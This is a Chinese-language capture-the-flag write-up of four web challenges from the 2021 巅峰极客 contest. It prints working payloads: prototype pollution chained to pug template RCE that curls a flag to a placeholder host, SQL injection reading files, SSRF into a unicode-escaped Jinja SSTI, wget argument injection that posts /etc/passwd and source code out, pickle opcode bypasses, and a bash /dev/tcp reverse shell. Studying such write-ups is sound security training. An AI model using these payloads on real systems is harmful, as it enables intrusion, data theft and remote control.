2021 巅峰极客 Web Writeup

admin 2021年10月18日22:28:10评论225 views字数 12201阅读40分40秒阅读模式


  • Ezjs

  • eml

  • what_pickle

  • opcode

    • 原本解法


又复习了一遍python的pickle,学到了不少新知识

Web

Ezjs

随便登录进去,选择图片的地方可以读取源码

源码中可以看到使用了express-validator这个包,存在lodash < 4.17.17原型链污染

https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/oooooooldjs/writeup.md

https://paper.seebug.org/1426/#_1

需要注意的是,这里因为没有引入可以解析json的包,所以使用的payload跟文章中的有所区别

对文章中的payload进行删减,可以得到如下的payload:

"].__proto__["isadmin

2021 巅峰极客 Web Writeup
image.png

再看源码的验证admin的位置

 if (req.session.isadmin !== "notadmin") {
      if (req.session.debug !== undefined && req.session.debug !== false)
        info.pretty = req.query.p;
      if (req.query.diy !== undefined) req.session.diy = req.query.diy;
      info.diy = req.session.diy ? req.session.diy : "尊贵的admin";
      return res.render("admin", info);
    } else {
      return res.render("admin", info);
    }

只验证了isadmindebug与某个值不等,所以污染成空字符串可以绕过

可以看到info.pretty = req.query.p;这一行非常可疑,去搜可以搜到一个RCE,就是没有回显

https://github.com/pugjs/pug/issues/3312

http://eci-2zei733lpdexwedu8rp1.cloudeci1.ichunqiu.com:8888/admin?p=');process.mainModule.constructor._load('child_process').exec('curl http://xxxxxxx/?a=`tac /root/flag.txt|base64`');_=('

eml


WHOAMI师傅的wp
2021 巅峰极客 Web Writeup
image-20210731180746001

访问 www.zip 下载源码,是个 EML 企业通讯录管理系统,该版本的 EML 企业通讯录管理系统存在一个未授权访问和一个 SQL 注入,详情参考这里:http://diego.team/2021/02/22/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-EML-MKCMS/。

发现在 you_never_guess_it233337777 目录下有个 xxxxx.php:

<?PHP
    // 通往新世界的大门
    // 没有内网主机
    $URL = $_GET['url'];
    $CH = curl_init();
    curl_setopt($CH, CURLOPT_URL, $URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
    echo $RES;
?>

应该存在一个 SSRF,但是这个 xxxxx.php 却访问不到。在action.user.php 中发现提示,说根目录里有个 hint.txt

然后按照上面文章里 Payload 直接进行注入读取 /hint.txt:

/index.php?action=user&do=&_SESSION[isLogin]=1&search=union/**/select/**/1,load_file(0x2F68696E742E747874),3,load_file(0x2F68696E74),5,6,7,8,9,10,11,12,13,14,15
2021 巅峰极客 Web Writeup
image-20210731170946174

得到那个 SSRF 文件的路径:5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php,然后扫常用端口,发现 5000 端口有 SSTI,有过滤,使用 attr() 一把索:

http://eci-2ze1okxxdjruz6sjbnvx.cloudeci1.ichunqiu.com/5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php?url=http://127.0.0.1:5000/calc?num={{()|attr("u005fu005fu0063u006cu0061u0073u0073u005fu005f")|attr("u005fu005fu0062u0061u0073u0065u005fu005f")|attr("u005fu005fu0073u0075u0062u0063u006cu0061u0073u0073u0065u0073u005fu005f")()|attr("u005fu005fu0067u0065u0074u0069u0074u0065u006du005fu005f")(258)|attr("u005fu005fu0069u006eu0069u0074u005fu005f")|attr("u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f")|attr("u005fu005fu0067u0065u0074u0069u0074u0065u006du005fu005f")("u006fu0073")|attr("u0070u006fu0070u0065u006e")("u0063u0061u0074u0020u002fu0066u0066u0031u0031u0031u0031u0034u0034u0034u0034u0034u0067u0067")|attr("u0072u0065u0061u0064")()}}
2021 巅峰极客 Web Writeup
image-20210731170723659

得到 flag。

what_pickle

喜闻乐见的手撕python反序列化的时间

先通过wget参数注入把源码读下来

http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=-e http_proxy=http://xxxx:2333&argv=--method=POST&argv=--body-file=/etc/passwd

或者

http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=--input-file=http://xxxxx:2333&argv=--post-file=/etc/passwd

或者

/images?image=&argv=--post-file=/app/app.py&argv=--execute=http_proxy=http://xxxxx

app.py

from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary("./readflag.so")

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
@app.route('/index')
def index():
    if session.get('username'None):
        return redirect(url_for('home'))
    else:
        return render_template('index.html')

@app.route('/login', methods=["GET"])
def login():
    name = request.form.get('username''')
    data = request.form.get('data''test')
    User = user(name,data)
    # 这里我改了一下,具体源码忘记了
    session["info"]=base64.b64encode()
    return redirect(url_for('home'))

@app.route('/home')
def home():
    info = session["info"]
    User = restricted_loads(base64.b64decode(info))
    Jpg_id = random.randint(1,5)
    return render_template('home.html',id = str(Jpg_id), info = User.data)


@app.route('/images')
def images():
    command=["wget"]
    argv=request.args.getlist('argv')
    true_argv=[x if x.startswith("-"else '--'+x for x in argv]
    image=request.args['image']
    command.extend(true_argv)
    command.extend(["-q","-O","-"])
    command.append("http://127.0.0.1:8080/"+image)
    image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    return image_data.stdout



if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

config.py


SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"

notadmin={"admin":"no"}

class user():
    def __init__(self, username, data):
        self.username = username
        self.data = data

def backdoor(cmd):
    # 这里我也改了一下
    print(notadmin)
    if isinstance(cmd,list) and notadmin["admin"]=="yes":
        s=''.join(cmd)
        print("success!")
        eval(s)
    else:
        print("nononono!")

这里首先可以看到,它利用了Python官方手册中给的方式对反序列化的内容进行了一个过滤

限定了只能反序列化config类,而且调用的方法或属性中不能含有__

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这就意味着常规的反序列化手段没有用了,但是还好,出题人给我们留了一个后门

def backdoor(cmd):
    # 这里我也改了一下
    print(notadmin)
    if isinstance(cmd,list) and notadmin["admin"]=="yes":
        s=''.join(cmd)
        print("success!")
        eval(s)
    else:
        print("nononono!")

为了利用这个后门,我们得把config.notadmin的值改为{"admin":"yes"}

常规思路可以利用__main__去修改全局变量,这里显然不可以

正当我想手撕的时候,搜索发现已经有大师傅为我们造好了轮子

https://xz.aliyun.com/t/7012#toc-10

exp.py

notadmin = GLOBAL('config''notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config''backdoor')
config_backdoor(["__import__('os').popen('whoami').read()"])
return

生成Pickle opcode

2021 巅峰极客 Web Writeup
image-20210801170636032

验证

#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(module)
        if module in ['config'and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = b"cconfignnotadminnp0n0g0nS'admin'nS'yes'nscconfignbackdoornp2n0g2n((S'__import__(\'os\').popen(\'whoami\').read()'nltR."
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)

注意命令执行没有回显

2021 巅峰极客 Web Writeup
image-20210801170742574

生成cookie,反弹shell的时候不知道为什么无法执行命令,也没回显,于是就上传的msf马

那个readflag.so文件,可以看出是把flag文件读到了内存里,但是因为flask是root权限,我们可以直接读取环境变量,找到flag,从而不用去翻内存文件

2021 巅峰极客 Web Writeup
image-20210801171056149

直接去找环境变量

2021 巅峰极客 Web Writeup
image-20210801171123424

opcode

跟上一个题比较像,直接读文件

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit''map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()


app = Flask(__name__)

app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"

@app.route('/admin', methods = ["POST","GET"])
def admin():
    if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
        return "not admin"
    try:
        data = base64.b64decode(session['data'])
        if "R" in data.decode():
            return "nonono"
        pickle.loads(data)
    except Exception as e:
        print(e)
    return "success"

@app.route('/login', methods = ["GET","POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    imagePath = request.form.get('imagePath')
    session['username'] = username + password
    session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
    try:
        f = open(imagePath,'rb').read()
    except Exception as e:
        f = open('static/image/error.png','rb').read()
    imageBase64 = base64.b64encode(f)
    return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))

@app.route('/', methods = ["GET","POST"])
def index():
    return render_template("index.html")
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8888')

写了个RestrictedUnpickler,但是根本没用过,直接用pickle.loads(data)进行反序列化,相当于过滤没写

只过滤了R指令,直接一把梭

参考这里的文章的demo:

  • https://zhuanlan.zhihu.com/p/361349643
  • https://www.freebuf.com/articles/web/264363.html
import base64
raw_data = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxxx/2333 0>&1"'
o.'''

res = base64.b64encode(raw_data)
print res

伪造session,反弹shell

2021 巅峰极客 Web Writeup
image-20210731191736258

原本解法

当然,如果真的按照题目中给的过滤,可以使用如下payload

cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.
#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit''map'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

data = b'''cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.'''
if b"R" in data:
    print("nonono")
    exit()
result = RestrictedUnpickler(io.BytesIO(data)).load()

题目原本的意思是限制了类builtins,以及一堆黑名单,然后再过滤R

先用https://xz.aliyun.com/t/7012#toc-0 中的工具生成只含有类builtins的payload

getattr = GLOBAL('__builtins__''getattr')
dict = GLOBAL('__builtins__''dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__''globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return
2021 巅峰极客 Web Writeup
image-20210801183055429
b'cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0g0n(g1nS'get'ntRp2n0cbuiltinsnglobalsnp3n0g3n(tRp4n0g2n(g4nS'__builtins__'ntRp5n0g0n(g5nS'eval'ntRp6n0g6n(S'__import__("os").system("whoami")'ntR.

生成的payload中含有R指令,我们可以手撸payload,把R指令替换掉

可以用o指令去替换R指令

R [callable] [tuple] R 调用一个callable对象 crandomnRandomn)R
o MARK [callable] [args...] o 同INST,参数获取方式由readline变为stack.pop而已 (cosnsystemnS'ls'no
t MARK [obj...] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0nI1nt
b"(cosnsystemnS'whoami'no."
b"csysnsystemnp0n0g0n(S'whoami'ntR."

通过观察R指令和o指令的参数格式,在调用的callable前添加MARK(即(),去掉t指令和调用t指令用到的Mark即可

更改payload

b'cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0g0n(g1nS'get'ntRp2n0cbuiltinsnglobalsnp3n0g3n(tRp4n0g2n(g4nS'__builtins__'ntRp5n0g0n(g5nS'eval'ntRp6n0g6n(S'__import__("os").system("whoami")'ntR.

b'
''cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.'''

cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.
2021 巅峰极客 Web Writeup
image-20210801183712203


本文始发于微信公众号(山警网络空间安全与电子数据取证):2021 巅峰极客 Web Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月18日22:28:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2021 巅峰极客 Web Writeuphttps://cn-sec.com/archives/443204.html

发表评论

匿名网友 填写信息